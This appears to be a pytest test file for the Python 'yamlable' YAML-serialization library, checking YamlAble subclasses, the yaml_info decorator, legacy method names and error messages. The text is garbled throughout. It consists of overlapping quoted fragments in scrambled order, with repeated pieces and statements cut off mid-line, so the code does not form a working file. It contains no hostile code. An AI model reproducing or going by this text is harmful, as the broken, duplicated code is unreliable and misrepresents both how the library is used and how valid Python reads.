"FooValid.loads_yaml(y) # load io assert f == FooValid.load_yaml(StringIO(y)) # load", "Dict[str, Any] yaml_tag # type: str ): # type: (...)", "__init__(self, a, b): self.a = a self.b = b def", "def __eq__(self, other): return vars(self) == vars(other) # instantiate f", "Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info", "def from_yaml_dict(cls, # type: Type[Y] dct, # type: Dict[str, Any]", "y # dump pyyaml assert dump(f, default_flow_style=False) == y #", "f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooLegacy a: 1 b: hello \"\"\"", "it\"\"\" class AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV): def __init__(self, a,", "): # type: (...) -> Y global dec dec =", "that YamlAbleMixIn works correctly \"\"\" global enc global dec enc,", "Foo() # dump f.dumps_yaml() assert \"does not seem to have", "that memorizes its buffer when it is closed (as opposed", "# TODO override so that tag is not supported, to", "load io assert f == Foo.load_yaml(StringIO(y)) # load pyyaml assert", "# dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.Foo a:", "'hello') # dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooLegacy", "MemorizingStringIO(StringIO): \"\"\" A StringIO object that memorizes its buffer when", "load pyyaml assert f == load(y) def test_yamlable_legacy_method_names(): \"\"\" Tests", "Foo_Err(**dct) @classmethod def is_yaml_tag_supported(cls, yaml_tag # type: str ): #", "e = FooError(1, 'hello') # dump with pytest.raises(NotImplementedError): e.dumps_yaml() def", "# load io assert f == FooValid.load_yaml(StringIO(y)) # load pyyaml", "y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooValid a: 1 b:", "dump(f, default_flow_style=False) == y # load assert f == Foo.loads_yaml(y)", "'hello') # dump with pytest.raises(NotImplementedError): e.dumps_yaml() def test_abstract_parent(): \"\"\"This tests", "# Python 2 only: from StringIO import StringIO # create", "define an abstract parent class with the YamlAble behaviour and", "FooLegacy(1, 'hello') # dump y = f.dumps_yaml(default_flow_style=False) assert y ==", "b f = Foo_Default(1, 'hello') s = \"\"\"!yamlable/yaml.tests.Foo_Default a: 1", "f = Foo_Default(1, 'hello') s = \"\"\"!yamlable/yaml.tests.Foo_Default a: 1 b:", "return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct, #", "self.close() except ImportError: from io import StringIO try: # python", "type: (...) -> Y return Foo(**dct) # instantiate f =", "return vars(self) == vars(other) def to_yaml_dict(self): # type: (...) ->", "b: hello \"\"\" assert dump(f, default_flow_style=False) == s assert dump(load(dump(load(s))),", "load assert f == Foo.loads_yaml(y) # load io assert f", "== vars(other) def to_yaml_dict(self): # type: (...) -> Dict[str, Any]", "self.b = b f = Foo_Default(1, 'hello') s = \"\"\"!yamlable/yaml.tests.Foo_Default", "= MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value == y # dump", "assert \"does not seem to have a non-None '__yaml_tag_suffix__' field\"", "default_flow_style=False) == y # load assert f == Foo.loads_yaml(y) #", "= f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooLegacy a: 1 b: hello", "from yaml import dump, load from yamlable import YamlAble, yaml_info", "note: # dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.Foo", "Foo(**dct) # instantiate f = Foo(1, 'hello') # note: #", "import StringIO try: # python 3.5+ from typing import Dict,", "not seem to have a non-None '__yaml_tag_suffix__' field\" in str(err_info.value)", "false return False with pytest.raises(TypeError) as err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a: 1,", "Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\") class Foo(YamlAble): pass", "self.getvalue() # super(StringIO, self).close() # this does not work with", "not supported, to check error message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class", "TODO override so that tag is not supported, to check", "2 old-style classes (StringIO is one) StringIO.close(self) s = MemorizingStringIO()", "# instantiate e = FooError(1, 'hello') # dump with pytest.raises(NotImplementedError):", "@yaml_info(\"com.example.MyFoo\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\") class", "# dump with pytest.raises(NotImplementedError): e.dumps_yaml() def test_abstract_parent(): \"\"\"This tests that", "copy try: # Python 2 only: from StringIO import StringIO", "type: Type[Y] dct, # type: Dict[str, Any] yaml_tag # type:", "copy(vars(self)) @classmethod def from_yaml_dict(cls, # type: Type[Y] dct, # type:", "import StringIO # create a variant that can serve as", "# type: (...) -> bool # ALWAYS return false return", "that tag is not supported, to check error message def", "StringIO object that memorizes its buffer when it is closed", "assert f == FooValid.load_yaml(StringIO(y)) # load pyyaml assert f ==", "FooLegacy.load_yaml(StringIO(y)) # load pyyaml assert f == load(y) assert enc", "non-None '__yaml_tag_suffix__' field\" in str(err_info.value) def test_yamlable(): \"\"\" Tests that", "declared \"\"\" with pytest.raises(NotImplementedError) as err_info: class Foo(YamlAble): # __yaml_tag_suffix__", "f == load(y) assert enc assert dec # TODO override", "check error message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): # __yaml_tag_suffix__", "enc enc = True return copy(vars(self)) @classmethod def from_yaml_dict(cls, #", "\"\"\"!yamlable/yaml.tests.Foo_Default a: 1 b: hello \"\"\" assert dump(f, default_flow_style=False) ==", "Foo(1, 'hello') # note: # dump y = f.dumps_yaml(default_flow_style=False) assert", "# load pyyaml assert f == load(y) assert enc assert", "pytest from yaml import dump, load from yamlable import YamlAble,", "__eq__(self, other): return vars(self) == vars(other) # instantiate e =", "the standard StringIO) \"\"\" def close(self): self.value = self.getvalue() #", "Foo().dumps_yaml() == \"\"\"!yamlable/com.example.Foo {} \"\"\" def test_abstract_parent_error(): \"\"\"This tests that", "== y # dump pyyaml assert dump(f, default_flow_style=False) == y", "works \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble): def __init__(self, a, b): self.a", "tag is not supported, to check error message def test_yamlable_not_supported():", "Dict[str, Any] global enc enc = True return copy(vars(self)) @classmethod", "== s assert dump(load(dump(load(s))), default_flow_style=False) == s def test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\")", "f == load(y) def test_yamlable_legacy_method_names(): \"\"\" Tests that YamlAbleMixIn works", "return copy(vars(self)) @classmethod def from_yaml_dict(cls, # type: Type[Y] dct, #", "@yaml_info def __init__(self, a, b): self.a = a self.b =", "instantiate e = FooError(1, 'hello') # dump with pytest.raises(NotImplementedError): e.dumps_yaml()", "correctly \"\"\" global enc global dec enc, dec = False,", "= 'foo' not needed: we used @yaml_info def __init__(self, a,", "str ): # type: (...) -> Y return Foo(**dct) #", "from io import StringIO try: # python 3.5+ from typing", "# dump f.dumps_yaml() assert \"does not seem to have a", "opposed to the standard StringIO) \"\"\" def close(self): self.value =", "Foo.__yaml_tag_suffix__ == \"com.example.Foo\" assert Foo().dumps_yaml() == \"\"\"!yamlable/com.example.Foo {} \"\"\" def", "This class inherits from the parent without redefining a yaml", "assert dump(load(dump(load(s))), default_flow_style=False) == s def test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\") class Foo(YamlAble):", "assert f == FooLegacy.load_yaml(StringIO(y)) # load pyyaml assert f ==", "load(y) def test_yamlable_legacy_method_names(): \"\"\" Tests that YamlAbleMixIn works correctly \"\"\"", "subclass cannot be declared \"\"\" with pytest.raises(NotImplementedError) as err_info: class", "pytest.raises(NotImplementedError) as err_info: class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' def", "str ): # type: (...) -> Y return Foo_Err(**dct) @classmethod", "== \"\"\"!yamlable/yaml.tests.FooLegacy a: 1 b: hello \"\"\" # dump io", "yaml tag \"\"\" def __init__(self, a, b): self.a = a", "dump(load(dump(load(s))), default_flow_style=False) == s def test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\") class Foo(YamlAble): pass", "def to_yaml_dict(self): # type: (...) -> Dict[str, Any] global enc", "a variant that can serve as a context manager class", "self.a = a self.b = b f = Foo_Default(1, 'hello')", "-> Dict[str, Any] global enc enc = True return copy(vars(self))", "ImportError: pass import pytest from yaml import dump, load from", "class Foo_Default(YamlAble): def __init__(self, a, b): self.a = a self.b", "hello \"\"\" # dump io class MemorizingStringIO(StringIO): \"\"\" A StringIO", "is not supported, to check error message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests')", "Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a: 1, b: hello}\\n\") assert \"No YamlAble subclass found", "# load assert f == FooValid.loads_yaml(y) # load io assert", "import YamlAble, yaml_info def test_yamlable_incomplete_description(): \"\"\" Tests that if __yaml_tag_suffix__", "YamlAble behaviour and inherit it\"\"\" class AbstractFooE(YamlAble): pass class FooError(AbstractFooE):", "@yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we", "from copy import copy try: # Python 2 only: from", "io class MemorizingStringIO(StringIO): \"\"\" A StringIO object that memorizes its", "self.b = b def __eq__(self, other): return vars(self) == vars(other)", "Python 2 only: from StringIO import StringIO # create a", "typing import Dict, Any from yamlable import Y except ImportError:", "other): return vars(self) == vars(other) def __to_yaml_dict__(self): # type: (...)", "MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value == y # dump pyyaml", "== load(y) assert enc assert dec # TODO override so", "YamlAble subclass found able to decode object\" in str(err_info.value) def", "Y global dec dec = True return FooLegacy(**dct) # instantiate", "assert enc assert dec # TODO override so that tag", "def test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.MyFoo\"", "YamlAble works correctly \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): # __yaml_tag_suffix__ =", "s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value == y #", "and inherit it\"\"\" class AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV): def", "type: str ): # type: (...) -> Y global dec", "object\" in str(err_info.value) def test_yamlable_default_impl(): \"\"\" tests that the default", "y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooLegacy a: 1 b:", "import pytest from yaml import dump, load from yamlable import", "__yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info def __init__(self,", "YamlAble, yaml_info def test_yamlable_incomplete_description(): \"\"\" Tests that if __yaml_tag_suffix__ is", "__exit__(self, exception_type, exception_value, traceback): self.close() except ImportError: from io import", "@yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we", "super(StringIO, self).close() # this does not work with python 2", "= FooLegacy(1, 'hello') # dump y = f.dumps_yaml(default_flow_style=False) assert y", "behaviour and inherit it\"\"\" class AbstractFooE(YamlAble): pass class FooError(AbstractFooE): \"\"\"", "cannot be declared \"\"\" with pytest.raises(NotImplementedError) as err_info: class Foo(YamlAble):", "pass assert Foo.__yaml_tag_suffix__ == \"com.example.Foo\" assert Foo().dumps_yaml() == \"\"\"!yamlable/com.example.Foo {}", "class FooLegacy(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used", "__enter__(self): return self def __exit__(self, exception_type, exception_value, traceback): self.close() except", "(...) -> Y return Foo(**dct) # instantiate f = Foo()", "b: hello \"\"\" # dump io class MemorizingStringIO(StringIO): \"\"\" A", "the YamlAble behaviour and inherit it\"\"\" class AbstractFooE(YamlAble): pass class", "old-style classes (StringIO is one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s,", "pass assert Foo.__yaml_tag_suffix__ == \"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\") class Foo(YamlAble): pass assert", "f == FooLegacy.loads_yaml(y) # load io assert f == FooLegacy.load_yaml(StringIO(y))", "with pytest.raises(NotImplementedError) as err_info: class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo'", "= b def __eq__(self, other): return vars(self) == vars(other) def", "== FooLegacy.loads_yaml(y) # load io assert f == FooLegacy.load_yaml(StringIO(y)) #", "can define an abstract parent class with the YamlAble behaviour", "= a self.b = b f = Foo_Default(1, 'hello') s", "\"\"\" global enc global dec enc, dec = False, False", "yamlable import YamlAble, yaml_info def test_yamlable_incomplete_description(): \"\"\" Tests that if", "# type: (...) -> Dict[str, Any] global enc enc =", "we can define an abstract parent class with the YamlAble", "tests that we can define an abstract parent class with", "# load io assert f == Foo.load_yaml(StringIO(y)) # load pyyaml", "does not work with python 2 old-style classes (StringIO is", "-> Y global dec dec = True return FooLegacy(**dct) #", "manager class StringIO(StringIO): def __enter__(self): return self def __exit__(self, exception_type,", "= Foo(1, 'hello') # note: # dump y = f.dumps_yaml(default_flow_style=False)", "\"com.example.Foo\" assert Foo().dumps_yaml() == \"\"\"!yamlable/com.example.Foo {} \"\"\" def test_abstract_parent_error(): \"\"\"This", "yaml_tag # type: str ): # type: (...) -> Y", "= b f = Foo_Default(1, 'hello') s = \"\"\"!yamlable/yaml.tests.Foo_Default a:", "that we can define an abstract parent class with the", "YamlAbleMixIn works correctly \"\"\" global enc global dec enc, dec", "__eq__(self, other): return vars(self) == vars(other) def __to_yaml_dict__(self): # type:", "only: from StringIO import StringIO # create a variant that", "type: (...) -> bool # ALWAYS return false return False", "__init__(self, a, b): self.a = a self.b = b f", "Y return Foo(**dct) # instantiate f = Foo(1, 'hello') #", "vars(other) # instantiate f = FooValid(1, 'hello') # note: #", "is not provided a YamlAble subclass cannot be declared \"\"\"", "serve as a context manager class StringIO(StringIO): def __enter__(self): return", "inherits from the parent without redefining a yaml tag \"\"\"", "yaml_info def test_yamlable_incomplete_description(): \"\"\" Tests that if __yaml_tag_suffix__ is not", "tests that the default implementation works \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble):", "== \"com.example.Foo\" assert Foo().dumps_yaml() == \"\"\"!yamlable/com.example.Foo {} \"\"\" def test_abstract_parent_error():", "seem to have a non-None '__yaml_tag_suffix__' field\" in str(err_info.value) def", "in str(err_info.value) def test_yamlable(): \"\"\" Tests that YamlAble works correctly", "a: 1 b: hello \"\"\" # dump io class MemorizingStringIO(StringIO):", "# type: (...) -> Y return Foo_Err(**dct) @classmethod def is_yaml_tag_supported(cls,", "err_info: class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' def __to_yaml_dict__(self): #", "assert Foo.__yaml_tag_suffix__ == \"com.example.Foo\" assert Foo().dumps_yaml() == \"\"\"!yamlable/com.example.Foo {} \"\"\"", "== s def test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__", "vars(self) == vars(other) def to_yaml_dict(self): # type: (...) -> Dict[str,", "it is closed (as opposed to the standard StringIO) \"\"\"", "pyyaml assert dump(f, default_flow_style=False) == y # load assert f", "io assert f == FooValid.load_yaml(StringIO(y)) # load pyyaml assert f", "assert dump(f, default_flow_style=False) == y # load assert f ==", "Y except ImportError: pass import pytest from yaml import dump,", "and inherit it\"\"\" class AbstractFooE(YamlAble): pass class FooError(AbstractFooE): \"\"\" This", "s.value == y # dump pyyaml assert dump(f, default_flow_style=False) ==", "(...) -> Y global dec dec = True return FooLegacy(**dct)", "FooLegacy(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info", "dump with pytest.raises(NotImplementedError): e.dumps_yaml() def test_abstract_parent(): \"\"\"This tests that we", "assert f == load(y) def test_yamlable_legacy_method_names(): \"\"\" Tests that YamlAbleMixIn", "True return FooLegacy(**dct) # instantiate f = FooLegacy(1, 'hello') #", "dec = False, False @yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble): # __yaml_tag_suffix__ =", "class StringIO(StringIO): def __enter__(self): return self def __exit__(self, exception_type, exception_value,", "def is_yaml_tag_supported(cls, yaml_tag # type: str ): # type: (...)", "implementation works \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble): def __init__(self, a, b):", "\"\"\"!yamlable/yaml.tests.Foo a: 1 b: hello \"\"\" # dump io class", "class inherits from the parent without redefining a yaml tag", "__eq__(self, other): return vars(self) == vars(other) def to_yaml_dict(self): # type:", "b): self.a = a self.b = b f = Foo_Default(1,", "# __yaml_tag_suffix__ = 'foo' def __to_yaml_dict__(self): # type: (...) ->", "with pytest.raises(NotImplementedError): e.dumps_yaml() def test_abstract_parent(): \"\"\"This tests that we can", "f == Foo.loads_yaml(y) # load io assert f == Foo.load_yaml(StringIO(y))", "def test_yamlable_legacy_method_names(): \"\"\" Tests that YamlAbleMixIn works correctly \"\"\" global", "default implementation works \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble): def __init__(self, a,", "with python 2 old-style classes (StringIO is one) StringIO.close(self) s", "global dec enc, dec = False, False @yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble):", "class Foo_Err(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used", "dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooValid a: 1", "tag \"\"\" def __init__(self, a, b): self.a = a self.b", "dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooLegacy a: 1", "FooLegacy.loads_yaml(y) # load io assert f == FooLegacy.load_yaml(StringIO(y)) # load", "field\" in str(err_info.value) def test_yamlable(): \"\"\" Tests that YamlAble works", "a context manager class StringIO(StringIO): def __enter__(self): return self def", "# dump pyyaml assert dump(f, default_flow_style=False) == y # load", "{a: 1, b: hello}\\n\") assert \"No YamlAble subclass found able", "pytest.raises(TypeError) as err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a: 1, b: hello}\\n\") assert \"No", "is_yaml_tag_supported(cls, yaml_tag # type: str ): # type: (...) ->", "# type: Dict[str, Any] yaml_tag # type: str ): #", "@yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble): def __init__(self, a, b): self.a = a", "pytest.raises(NotImplementedError): e.dumps_yaml() def test_abstract_parent(): \"\"\"This tests that we can define", "to check error message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): #", "def test_yamlable(): \"\"\" Tests that YamlAble works correctly \"\"\" @yaml_info(yaml_tag_ns='yaml.tests')", "# dump io class MemorizingStringIO(StringIO): \"\"\" A StringIO object that", "f == FooLegacy.load_yaml(StringIO(y)) # load pyyaml assert f == load(y)", "a, b): self.a = a self.b = b f =", "yamlable import Y except ImportError: pass import pytest from yaml", "an abstract parent class with the YamlAble behaviour and inherit", "copy import copy try: # Python 2 only: from StringIO", "def __eq__(self, other): return vars(self) == vars(other) def to_yaml_dict(self): #", "as err_info: class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' def __to_yaml_dict__(self):", "b: hello}\\n\") assert \"No YamlAble subclass found able to decode", "= FooError(1, 'hello') # dump with pytest.raises(NotImplementedError): e.dumps_yaml() def test_abstract_parent():", "== FooLegacy.load_yaml(StringIO(y)) # load pyyaml assert f == load(y) assert", "classes (StringIO is one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False)", "can serve as a context manager class StringIO(StringIO): def __enter__(self):", "memorizes its buffer when it is closed (as opposed to", "): # type: (...) -> Y return Foo(**dct) # instantiate", "(...) -> Dict[str, Any] global enc enc = True return", "Any from yamlable import Y except ImportError: pass import pytest", "f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.Foo a: 1 b: hello \"\"\"", "): # type: (...) -> Y return Foo_Err(**dct) @classmethod def", "a: 1 b: hello \"\"\" assert dump(f, default_flow_style=False) == s", "= Foo() # dump f.dumps_yaml() assert \"does not seem to", "type: Dict[str, Any] yaml_tag # type: str ): # type:", "y # load assert f == Foo.loads_yaml(y) # load io", "Y return Foo(**dct) # instantiate f = Foo() # dump", "\"\"\" Tests that YamlAbleMixIn works correctly \"\"\" global enc global", "-> Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type:", "assert f == Foo.load_yaml(StringIO(y)) # load pyyaml assert f ==", "assert f == FooLegacy.loads_yaml(y) # load io assert f ==", "ALWAYS return false return False with pytest.raises(TypeError) as err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err", "return vars(self) == vars(other) # instantiate e = FooError(1, 'hello')", "type: str ): # type: (...) -> Y return Foo(**dct)", "test_abstract_parent(): \"\"\"This tests that we can define an abstract parent", "\"\"\"!yamlable/yaml.tests.FooLegacy a: 1 b: hello \"\"\" # dump io class", "1, b: hello}\\n\") assert \"No YamlAble subclass found able to", "# dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooLegacy a:", "\"\"\" with pytest.raises(NotImplementedError) as err_info: class Foo(YamlAble): # __yaml_tag_suffix__ =", "\"\"\" tests that the default implementation works \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class", "\"\"\"!yamlable/com.example.Foo {} \"\"\" def test_abstract_parent_error(): \"\"\"This tests that we can", "not needed: we used @yaml_info def __init__(self, a, b): self.a", "-> Y return Foo_Err(**dct) @classmethod def is_yaml_tag_supported(cls, yaml_tag # type:", "dump pyyaml assert dump(f, default_flow_style=False) == y # load assert", "from_yaml_dict(cls, # type: Type[Y] dct, # type: Dict[str, Any] yaml_tag", "able to decode object\" in str(err_info.value) def test_yamlable_default_impl(): \"\"\" tests", "'foo' def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any] return", "needed: we used @yaml_info def __init__(self, a, b): self.a =", "y # load assert f == FooValid.loads_yaml(y) # load io", "Foo.__yaml_tag_suffix__ == \"com.example.MyFoo\" @yaml_info(yaml_tag_ns=\"com.example\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ ==", "s def test_help_yaml_info(): @yaml_info(\"com.example.MyFoo\") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ ==", "StringIO(StringIO): def __enter__(self): return self def __exit__(self, exception_type, exception_value, traceback):", "Foo.loads_yaml(y) # load io assert f == Foo.load_yaml(StringIO(y)) # load", "Dict, Any from yamlable import Y except ImportError: pass import", "-> Y return Foo(**dct) # instantiate f = Foo(1, 'hello')", "pass @yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV): def __init__(self, a, b): self.a =", "load assert f == FooValid.loads_yaml(y) # load io assert f", "other): return vars(self) == vars(other) # instantiate f = FooValid(1,", "# instantiate f = Foo() # dump f.dumps_yaml() assert \"does", "FooLegacy(**dct) # instantiate f = FooLegacy(1, 'hello') # dump y", "python 2 old-style classes (StringIO is one) StringIO.close(self) s =", "__yaml_tag_suffix__ = 'foo' def __to_yaml_dict__(self): # type: (...) -> Dict[str,", "y == \"\"\"!yamlable/yaml.tests.FooLegacy a: 1 b: hello \"\"\" # dump", "hello \"\"\" assert dump(f, default_flow_style=False) == s assert dump(load(dump(load(s))), default_flow_style=False)", "instantiate f = FooLegacy(1, 'hello') # dump y = f.dumps_yaml(default_flow_style=False)", "except ImportError: pass import pytest from yaml import dump, load", "# type: (...) -> Dict[str, Any] return copy(vars(self)) @classmethod def", "assert dec # TODO override so that tag is not", "False with pytest.raises(TypeError) as err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a: 1, b: hello}\\n\")", "used @yaml_info def __init__(self, a, b): self.a = a self.b", "class FooValid(AbstractFooV): def __init__(self, a, b): self.a = a self.b", "FooError(1, 'hello') # dump with pytest.raises(NotImplementedError): e.dumps_yaml() def test_abstract_parent(): \"\"\"This", "buffer when it is closed (as opposed to the standard", "import Dict, Any from yamlable import Y except ImportError: pass", "import copy try: # Python 2 only: from StringIO import", "dump f.dumps_yaml() assert \"does not seem to have a non-None", "return vars(self) == vars(other) def __to_yaml_dict__(self): # type: (...) ->", "\"\"\" Tests that YamlAble works correctly \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble):", "assert f == load(y) assert enc assert dec # TODO", "abstract parent class with the YamlAble behaviour and inherit it\"\"\"", "that the default implementation works \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble): def", "YamlAble subclass cannot be declared \"\"\" with pytest.raises(NotImplementedError) as err_info:", "= False, False @yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble): # __yaml_tag_suffix__ = 'foo'", "assert y == \"\"\"!yamlable/yaml.tests.Foo a: 1 b: hello \"\"\" #", "StringIO) \"\"\" def close(self): self.value = self.getvalue() # super(StringIO, self).close()", "other): return vars(self) == vars(other) def to_yaml_dict(self): # type: (...)", "vars(self) == vars(other) def __to_yaml_dict__(self): # type: (...) -> Dict[str,", "test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed:", "decode object\" in str(err_info.value) def test_yamlable_default_impl(): \"\"\" tests that the", "to the standard StringIO) \"\"\" def close(self): self.value = self.getvalue()", "@yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we", "@classmethod def is_yaml_tag_supported(cls, yaml_tag # type: str ): # type:", "FooError(AbstractFooE): \"\"\" This class inherits from the parent without redefining", "Tests that YamlAbleMixIn works correctly \"\"\" global enc global dec", "class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.Foo\" assert Foo().dumps_yaml() ==", "exception_value, traceback): self.close() except ImportError: from io import StringIO try:", "Any] global enc enc = True return copy(vars(self)) @classmethod def", "test_abstract_parent_error(): \"\"\"This tests that we can define an abstract parent", "enc = True return copy(vars(self)) @classmethod def from_yaml_dict(cls, # type:", "== vars(other) def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any]", "return Foo(**dct) # instantiate f = Foo() # dump f.dumps_yaml()", "is one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value", "f == FooValid.loads_yaml(y) # load io assert f == FooValid.load_yaml(StringIO(y))", "dec dec = True return FooLegacy(**dct) # instantiate f =", "): # type: (...) -> bool # ALWAYS return false", "create a variant that can serve as a context manager", "def __exit__(self, exception_type, exception_value, traceback): self.close() except ImportError: from io", "global enc enc = True return copy(vars(self)) @classmethod def from_yaml_dict(cls,", "in str(err_info.value) def test_yamlable_default_impl(): \"\"\" tests that the default implementation", "dump, load from yamlable import YamlAble, yaml_info def test_yamlable_incomplete_description(): \"\"\"", "to_yaml_dict(self): # type: (...) -> Dict[str, Any] global enc enc", "= True return FooLegacy(**dct) # instantiate f = FooLegacy(1, 'hello')", "\"\"\" def test_abstract_parent_error(): \"\"\"This tests that we can define an", "# dump y = f.dumps_yaml(default_flow_style=False) assert y == \"\"\"!yamlable/yaml.tests.FooValid a:", "provided a YamlAble subclass cannot be declared \"\"\" with pytest.raises(NotImplementedError)", "instantiate f = Foo(1, 'hello') # note: # dump y", "Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == \"com.example.Foo\" assert Foo().dumps_yaml() == \"\"\"!yamlable/com.example.Foo", "== vars(other) # instantiate e = FooError(1, 'hello') # dump", "works correctly \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class Foo(YamlAble): # __yaml_tag_suffix__ = 'foo'", "Type[Y] dct, # type: Dict[str, Any] yaml_tag # type: str", "# instantiate f = FooValid(1, 'hello') # note: # dump", "s = \"\"\"!yamlable/yaml.tests.Foo_Default a: 1 b: hello \"\"\" assert dump(f,", "# type: str ): # type: (...) -> Y return", "return self def __exit__(self, exception_type, exception_value, traceback): self.close() except ImportError:", "# type: (...) -> Y return Foo(**dct) # instantiate f", "assert f == Foo.loads_yaml(y) # load io assert f ==", "yaml_tag # type: str ): # type: (...) -> bool", "from the parent without redefining a yaml tag \"\"\" def", "== \"\"\"!yamlable/yaml.tests.Foo a: 1 b: hello \"\"\" # dump io", "that if __yaml_tag_suffix__ is not provided a YamlAble subclass cannot", "\"\"\" # dump io class MemorizingStringIO(StringIO): \"\"\" A StringIO object", "the YamlAble behaviour and inherit it\"\"\" class AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests')", "Foo(YamlAble): # __yaml_tag_suffix__ = 'foo' def __to_yaml_dict__(self): # type: (...)", "load(y) assert enc assert dec # TODO override so that", "ImportError: from io import StringIO try: # python 3.5+ from", "works correctly \"\"\" global enc global dec enc, dec =", "-> bool # ALWAYS return false return False with pytest.raises(TypeError)", "f = Foo(1, 'hello') # note: # dump y =", "StringIO try: # python 3.5+ from typing import Dict, Any", "inherit it\"\"\" class AbstractFooE(YamlAble): pass class FooError(AbstractFooE): \"\"\" This class", "test_yamlable(): \"\"\" Tests that YamlAble works correctly \"\"\" @yaml_info(yaml_tag_ns='yaml.tests') class", "\"\"\" Tests that if __yaml_tag_suffix__ is not provided a YamlAble", "Foo_Default(YamlAble): def __init__(self, a, b): self.a = a self.b =", "its buffer when it is closed (as opposed to the", "dec # TODO override so that tag is not supported,", "assert y == \"\"\"!yamlable/yaml.tests.FooValid a: 1 b: hello \"\"\" #", "(as opposed to the standard StringIO) \"\"\" def close(self): self.value", "return False with pytest.raises(TypeError) as err_info: Foo_Err.loads_yaml(\"!yamlable/yaml.tests.Foo_Err {a: 1, b:", "return Foo(**dct) # instantiate f = Foo(1, 'hello') # note:", "closed (as opposed to the standard StringIO) \"\"\" def 